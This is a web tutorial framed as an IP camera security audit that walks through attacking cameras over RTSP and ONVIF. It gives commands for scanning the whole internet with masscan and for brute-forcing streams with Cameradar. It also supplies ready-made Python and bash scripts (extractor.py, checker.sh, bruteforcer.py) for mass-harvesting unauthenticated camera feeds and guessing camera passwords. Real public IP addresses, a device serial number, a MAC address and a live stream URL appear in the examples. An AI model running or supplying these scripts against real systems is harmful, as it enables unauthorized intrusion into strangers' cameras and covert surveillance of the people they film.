IP camera security audit
How to hack an IP camera?
I helped a friend to set up the camera and I got a lot of wonderful observations. A camera with the latest firmware from this year, there is a modern application for mobile phones for it, to register in the application you need to come up with a login and a complex password, to access the camera from the application you also need to set a password. There is a cloud service for storing videos. The camera is IP rated for water and dust resistance. It knows how to pair with the phone in some clever way and receive the Wi-Fi password from it, being connected only to the outlet. This is on the one hand.
On the other hand, an old Windows application ONVIF Device Manager found this camera in a second and showed the video from this camera and a link where anyone can watch the video from this camera with a simple VLC player, of course, without entering any passwords. That's not all, you can control the camera from ONVIF Device Manager – rotate and more. ONVIF Device Manager has a firmware update button, but I didn't check it. It's all without passwords. And this despite the fact that the native admin panel with a web interface did not open in any browser.
This camera gave me the idea to write the previous article “How to detect IP cameras” and this one you are reading now.
We will get acquainted with the Cameradar program and the ONVIF protocol. And we will leave the analysis of the camera firmware for an article about forensic research of disk images and file systems (from the interesting – simple protection against mounting (garbage in front of the real file system) and the root user password, which has nowhere to enter, since the camera gives access to the video stream and control without a password).
For many cameras, Cameradar shows manufacturers – there is a chance to add to the list of vendors to find hidden surveillance cameras. And if the camera is vulnerable by the ONVIF protocol, then you can find out its MAC address, which is also suitable for instructions for detecting cameras.
What is RTSP and what is it for
Real time streaming protocol (RTSP) is an application protocol designed for use in systems working with multimedia data (multimedia content, media content), and allows you to remotely control the data flow from a server, providing the ability to execute commands, such as start, pause and stop broadcasting (playing) of multimedia content, as well as time access to files located on the server.
RTSP does not perform compression, nor does it define the media encapsulation method and transport protocols. Streaming data is not itself part of the RTSP protocol. Most RTSP servers use a standard real-time transport protocol for this, which transfers audio and video data.
RTSP is not only found in IP cameras, other devices can also use this protocol to stream media (video and audio).
To play video using the RTSP protocol, you need to know the source URL, as well as the login and password.
Example URL address:
rtsp://118.39.210.69/rtsp_tunnel?h26x=4&line=1&inst=1
Some RTSP servers are configured to allow access to the media stream without a password.
The URL address of the media stream is not standard, devices send it when connected after authorization.
Usually RTSP works on ports 554, 5554 and 8554.
Video from IP cameras via RTSP protocol can be opened in VLC and Mplayer.
VLC and Mplayer players are able to work with this protocol thanks to the openRTSP utility from livemedia-utils (live-media) package (http://www.live555.com/liveMedia).
Brute force RTSP
As already mentioned, the URI (“page” address) at which the media stream is available differs from device to device. That is, if you do not have credentials for authentication using the RTSP protocol, then to get the route (URL) of the media stream, you will have to search for it by brute force.
You can look at the variety of addresses at https://www.ispyconnect.com/sources.aspx.
Cameradar can search for the source address and guess the user's password. As stated in the description, Cameradar hacks RTSP CCTV cameras.
Cameradar allows you to:
- Detect open RTSP ports on any available target host
- Determine which device model is broadcasting
- Launch automatic dictionary attacks to find the route of their flow (for example: /live.sdp)
- Launch automatic dictionary attacks to guess camera username and password
- Receive a complete and convenient report on the results
How to install Cameradar
Installation on Kali Linux
The first step is to install Go, for that see the article “How to install Go (compiler and tools) on Linux”.
Then install the program dependencies:
sudo apt install libcurl4-openssl-dev pkg-config
To download the installation source code, run the following commands:
go get github.com/Ullaakut/cameradar cd $GOPATH/src/github.com/Ullaakut/cameradar/cmd/cameradar go install
Now the binary is in your $GOPATH/bin, it's ready to run:
cameradar
To update when new versions are released:
go get -u github.com/Ullaakut/cameradar cd $GOPATH/src/github.com/Ullaakut/cameradar/cmd/cameradar go install
Installation in BlackArch
The program is preinstalled in BlackArch.
sudo pacman -S cameradar
But at the time of writing, the BlackArch maintainers did not take into account the specifics of the package, as a result, any launch will generate an error that the required files with credentials (credentials.json) and routes (routes) were not found. To fix this error, add the following options to your command:
- -c /usr/share/cameradar/dictionaries/credentials.json
- -r /usr/share/cameradar/dictionaries/routes
Instead of the version from the BlackArch repository, you can install the version from the source.
Remove Cameradar:
sudo pacman -R cameradar
Install Go:
sudo pacman -S go
To download the source code and install the following commands:
go get github.com/Ullaakut/cameradar cd ~/go/src/github.com/Ullaakut/cameradar/cmd/cameradar/ go install
After that, the program will become available in the following path:
~/go/bin/cameradar
To make the program available by name
cameradar
add environment variables as described in the article “How to install Go (compiler and tools) on Linux” under “Installing Go from the standard system repositories on Arch Linux, BlackArch and their derivatives”.
With this installation method, you still need to use the -c and -r options, but you will have the latest version of the program:
- -c /home/mial/go/src/github.com/Ullaakut/cameradar/dictionaries/credentials.json
- -r /home/mial/go/src/github.com/Ullaakut/cameradar/dictionaries/routes
To update when new versions are released:
go get -u github.com/Ullaakut/cameradar cd ~/go/src/github.com/Ullaakut/cameradar/cmd/cameradar/ go install
How to use Cameradar
The launch is very simple:
cameradar -t HOST
The "-t, --targets" option sets the target. The target can be a file listing hosts or network ranges, IP address, IP range, subnet, or a combination of both. Example: --targets="192.168.1.72,192.168.1.74"
The program makes a lot of requests and if some of them fail, it displays these errors on the screen, as a result of which the output becomes cluttered, so I prefer to add "2>/dev/null" to the command.
Examples of successful launches:
cameradar -t 201.191.170.250 2>/dev/null
cameradar -t 98.124.38.218 2>/dev/null
I have not found alternatives to Cameradar, so I am talking about it, but in general I did not like this program very much. The erratic results, which vary from run to run on the same host, can be attributed to the nature of the cameras themselves, which are low-end, buggy devices. But Cameradar is also fantastically slow. It takes too long to “scan the network” even if one target is specified (by default, only three ports are checked). The description of the program mentions “nmap”, but this is Cameradar's own library, it is written in Go and has nothing common with the original Nmap network scanner – perhaps this is the reason for such slowness.
Due to the sluggishness, I would not enter large ranges of networks into Cameradar, since the program outputs all the results upon completion of work, if you do not wait for completion, then all results will be lost.
You can scan the network to collect targets for Cameradar, for example, using Masscan:
sudo masscan 0.0.0.0/0 --exclude 255.255.255.255 --randomize-hosts --rate 200 -p 554,5554,8554 --output-filename cameras.xml
The following commands create a “camera” directory and filter all IP addresses from cameras *.xml files to camera/hosts.txt.
mkdir camera cat cameras*.xml | grep -o -E '[0-9]{1,}\.[0-9]{1,}\.[0-9]{1,}\.[0-9]{1,}' | sort | uniq > camera/hosts.txt
Counting the number of IP addresses on which at least one port from 554, 5554 and 855 is open.
cat camera/hosts.txt | wc -l 10955
Cameradar consumes a minimum of resources, so cameras can be scanned in multiple threads using Interlace:
cd camera mkdir results interlace -tL ./hosts.txt -threads 20 -c "cameradar -t _target_ 2>/dev/null >results/_target_-cameradar.txt" -v
Related: How to speed up the scanning of numerous web sites with Interlace
If there are too many hosts in the hosts.txt file, you can split them into files using the split command:
split -l 1000 hosts.txt
To find successful results, you can use the commands:
cd results cat * | grep -E -H 'Successful' * cat ` grep -E -H 'require' * | grep -o -E '^[a-z0-9.-]+'` cat * | grep -E -H 'Device RTSP URL' *
cat * | grep -E -H '✔' *
This command will list the models:
cat * | grep 'Device model' | sort | uniq
Hacking cameras via ONVIF protocol
In the article “What is HNAP, how to find and exploit routers with HNAP”, we get acquainted (as you might guess from the article name) with the HNAP protocol. It is a protocol for controlling network devices such as routers. On some devices, due to a sloppy implementation, this protocol accepts commands without a password.
Believe it or not, the situation is exactly the same with IP cameras – there are models that are controlled using the ONVIF protocol, and in this protocol, control is also done by sending simple text in XML format, and there are also cameras that allow you to execute commands without a password… And ONVIF is also difficult or even impossible to disable.
Moreover, if HNAP has not been found on new routers for a long time, ONVIF is still used.
It was in this way that the ONVIF Device Manager program was able to access the settings and video stream.
To understand how ONVIF Device Manager works, while running this program, I launched Wireshark to collect network traffic. The analysis showed that obtaining general information about the device is quite simple. The POST method sends an XML with a request.
Content of GetCapabilities.xml file:
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope"> <s:Body xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"> <GetCapabilities xmlns="http://www.onvif.org/ver10/device/wsdl"> <Category> All </Category> </GetCapabilities> </s:Body> </s:Envelope>
You can use cURL to send the request:
curl -s 192.168.0.167:8899/onvif/device_service -d @GetCapabilities.xml | grep -i -E 'GetCapabilitiesResponse' | xmllint --format -
If you receive long output in XML markup, then this device has support for the ONVIF protocol.
ONVIF does not have a standard port, usually this protocol is found on ports 8899, 80, 8080, 5000, 6688.
Receiving the URL of the media stream takes place in several stages, so in order not to mess with cURL and .xml files, I decided to use a ready-made solution. The first thing I came across (from what worked) is python-onvif – implementation of ONVIF client in Python.
To install, run:
sudo pip3 install --upgrade onvif_zeep
Create an extractor.py file with the following content:
import sys from onvif import ONVIFCamera if len(sys.argv) < 4: user = '' else: user = sys.argv[3] if len(sys.argv) < 5: password = '' else: password = sys.argv[4] mycam = ONVIFCamera(sys.argv[1], sys.argv[2], user, password, '/usr/local/lib/python3.9/site-packages/wsdl/') resp = mycam.devicemgmt.GetDeviceInformation() print (str(resp)) resp = mycam.devicemgmt.GetNetworkInterfaces() print (str(resp)) media_service = mycam.create_media_service() profiles = media_service.GetProfiles() token = profiles[0].token mycam = media_service.create_type('GetStreamUri') mycam.ProfileToken = token mycam.StreamSetup = {'Stream': 'RTP-Unicast', 'Transport': {'Protocol': 'RTSP'}} print(media_service.GetStreamUri(mycam))
Pay attention to the string
/usr/local/lib/python3.9/site-packages/wsdl/
You need to replace it with your own value. This line is fine for Kali Linux. And on BlackArch/Arch Linux you need to use the following line:
/usr/lib/python3.9/site-packages/wsdl/
When the Python version changes, the line may change as well.
The path to it can be found by the following algorithm:
sudo updatedb # Update file information locate accesscontrol.wsdl # We are looking for a file that is in the desired directory
For example found:
/usr/local/lib/python3.9/site-packages/wsdl/accesscontrol.wsdl
We take the whole line, except for the file name, that is, /usr/local/lib/python3.9/site-packages/wsdl/.
Run like this:
python3 extractor.py HOST PORT
The script makes three separate requests and displays three groups of data: device information, network interfaces, and media stream.
Launch example:
python3 extractor.py 118.39.210.69 80
Output example:
{ 'Manufacturer': 'BOSCH', 'Model': 'AUTODOME IP starlight 7000 HD', 'FirmwareVersion': '25500593', 'SerialNumber': '044123455', 'HardwareId': 'F0004D43' } [{ 'Enabled': True, 'Info': { 'Name': 'Network Interface 1', 'HwAddress': '00-07-5f-8b-5d-2b', 'MTU': 1514 }, 'Link': { 'AdminSettings': { 'AutoNegotiation': True, 'Speed': 100, 'Duplex': 'Full' }, 'OperSettings': { 'AutoNegotiation': True, 'Speed': 100, 'Duplex': 'Full' }, 'InterfaceType': 6 }, 'IPv4': { 'Enabled': True, 'Config': { 'Manual': [], 'LinkLocal': None, 'FromDHCP': { 'Address': '118.39.210.69', 'PrefixLength': 24 }, 'DHCP': True, '_value_1': None, '_attr_1': None } }, 'IPv6': None, 'Extension': None, 'token': '1', '_attr_1': { } }] { 'Uri': 'rtsp://118.39.210.69/rtsp_tunnel?h26x=4&line=1&inst=1', 'InvalidAfterConnect': False, 'InvalidAfterReboot': True, 'Timeout': datetime.timedelta(0), '_value_1': None, '_attr_1': None }
Manufacturer, MAC address, video URI:
'Manufacturer': 'BOSCH', 'HwAddress': '00-07-5f-8b-5d-2b', 'Uri': 'rtsp://118.39.210.69/rtsp_tunnel?h26x=4&line=1&inst=1',
It should be noted that the URI usually indicates the local IP address. Sometimes a port may be missing in the URI (always for port 80, sometimes for other ports).
Search cameras without password in ONVIF
To automate the process of identifying cameras that do not have a password set for ONVIF control, I wrote a small script.
Create the checker.sh file:
#!/bin/bash line=$1 GetCapabilities=`cat <<_EOF_ <s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope"> <s:Body xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"> <GetCapabilities xmlns="http://www.onvif.org/ver10/device/wsdl"> <Category> All </Category> </GetCapabilities> </s:Body> </s:Envelope> _EOF_` result=`timeout 5 curl -s $line:8899/onvif/device_service -d "$GetCapabilities" | grep -i -E 'GetCapabilitiesResponse' | xmllint --format - 2>/dev/null | grep -i -E -v 'parser error'`; result2=`timeout 5 curl -s $line:80/onvif/device_service -d "$GetCapabilities" | grep -i -E 'GetCapabilitiesResponse' | xmllint --format - 2>/dev/null | grep -i -E -v 'parser error'`; result3=`timeout 5 curl -s $line:8080/onvif/device_service -d "$GetCapabilities" | grep -i -E 'GetCapabilitiesResponse' | xmllint --format - 2>/dev/null | grep -i -E -v 'parser error'`; result4=`timeout 5 curl -s $line:5000/onvif/device_service -d "$GetCapabilities" | grep -i -E 'GetCapabilitiesResponse' | xmllint --format - 2>/dev/null | grep -i -E -v 'parser error'`; result5=`timeout 5 curl -s $line:6688/onvif/device_service -d "$GetCapabilities" | grep -i -E 'GetCapabilitiesResponse' | xmllint --format - 2>/dev/null | grep -i -E -v 'parser error'`; if [ "$result" ]; then echo "Found: $line:8899"; response=`python extractor.py $line 8899 2>/dev/null | sed -E "s/\/\/.+:/\/\/$line:/"` if [ "$response" ]; then echo "$response" > results/$line.txt fi fi if [ "$result2" ]; then echo "Found: $line:80"; response=`python extractor.py $line 80 2>/dev/null | sed -E "s/\/\/.+:/\/\/$line:/"` if [ "$response" ]; then echo "$response" > results/$line.txt fi fi if [ "$result3" ]; then echo "Found: $line:8080"; response=`python extractor.py $line 8080 2>/dev/null | sed -E "s/\/\/.+:/\/\/$line:/"` if [ "$response" ]; then echo "$response" > results/$line.txt fi fi if [ "$result4" ]; then echo "Found: $line:5000"; response=`python extractor.py $line 5000 2>/dev/null | sed -E "s/\/\/.+:/\/\/$line:/"` if [ "$response" ]; then echo "$response" > results/$line.txt fi fi if [ "$result5" ]; then echo "Found: $line:6688"; response=`python extractor.py $line 6688 2>/dev/null | sed -E "s/\/\/.+:/\/\/$line:/"` if [ "$response" ]; then echo "$response" > results/$line.txt fi fi
In the same folder where checker.sh, the previously discussed extractor.py file should also be located. Also create a folder "results" to save the results.
Run like this:
bash checker.sh IP_ADDRESS
This script will check five ports to see if the ONVIF protocol service is running. If the service is found, the script will try to get device information using extractor.py. If this also succeeds, the received data will be saved to the "results" folder.
The script can be run to test a single host or to test multiple hosts in multiple threads. An example in which IP addresses are taken from the hosts.txt file and a check in 20 threads is started:
parallel -j20 -a hosts.txt 'bash checker.sh {1}'
One more example:
parallel -j200 'bash checker.sh 172.{3}.{1}.{2}' ::: {1..255} ::: {1..255} ::: {16..31}
To find successful results, you can use the commands:
cd results cat * | grep -E -H -i 'Uri' * cat * | grep -E -H 'HwAddress' * cat * | grep -E -H 'Manufacturer' *
This command will list the models:
cat * | grep 'Model' | sort | uniq
Brute-force cameras via ONVIF
For some hosts, the extractor.py script will produce errors similar to the following:
zeep.exceptions.Fault: Sender not Authorized During handling of the above exception, another exception occurred: onvif.exceptions.ONVIFError: Unknown error: Sender not Authorized
They mean that an empty username and password are not suitable and you need to provide valid credentials.
Using this, you can write scripts to brute force the credentials of IP cameras. The advantage of this method over Cameradar is that you don't have to look up the media stream URI.
Create a bruteforcer.py file and copy into it:
import sys from onvif import ONVIFCamera if len(sys.argv) < 4: user = '' else: user = sys.argv[3] if len(sys.argv) < 5: password = '' else: password = sys.argv[4] mycam = ONVIFCamera(sys.argv[1], sys.argv[2], user, password, '/usr/local/lib/python3.9/site-packages/wsdl/') resp = mycam.devicemgmt.GetDeviceInformation() print (str(resp))
In fact, this is a simplified version of the extractor.py script – to understand that the credentials are wrong, we don't need to make three requests, one is enough.
Launch example:
python3 bruteforcer.py ХОСТ ПОРТ ПОЛЬЗОВАТЕЛЬ ПАРОЛЬ
If we add "2>/dev/null" to the command, then we will not see the error – in case of successful authentication, only data about the hacked device will be displayed:
python3 bruteforcer.py ХОСТ ПОРТ ПОЛЬЗОВАТЕЛЬ ПАРОЛЬ 2>/dev/null
An example of brute-force login and password of an IP camera using Parallel:
parallel -j2 -a usernames.txt -a passwords.txt 'python3 bruteforcer.py 103.96.7.96 80 2>/dev/null {1} {2}'
Conclusion
The ONVIF protocol allows not only viewing information about the properties of a camera, but also controlling it – rotating, changing settings, and more.
Related articles:
- What is HNAP, how to find and exploit routers with HNAP (65.1%)
- How to hack routers in Windows (Router Scan by Stas’M manual) (54.2%)
- RouterSploit User Manual (52.8%)
- SMB and Samba Security Audit Tools (52.1%)
- sshprank: SSH mass-scanner, login cracker and banner grabber (52.1%)
- What is Bluetooth Low Energy (BLE) and how to hack it (RANDOM - 0.8%)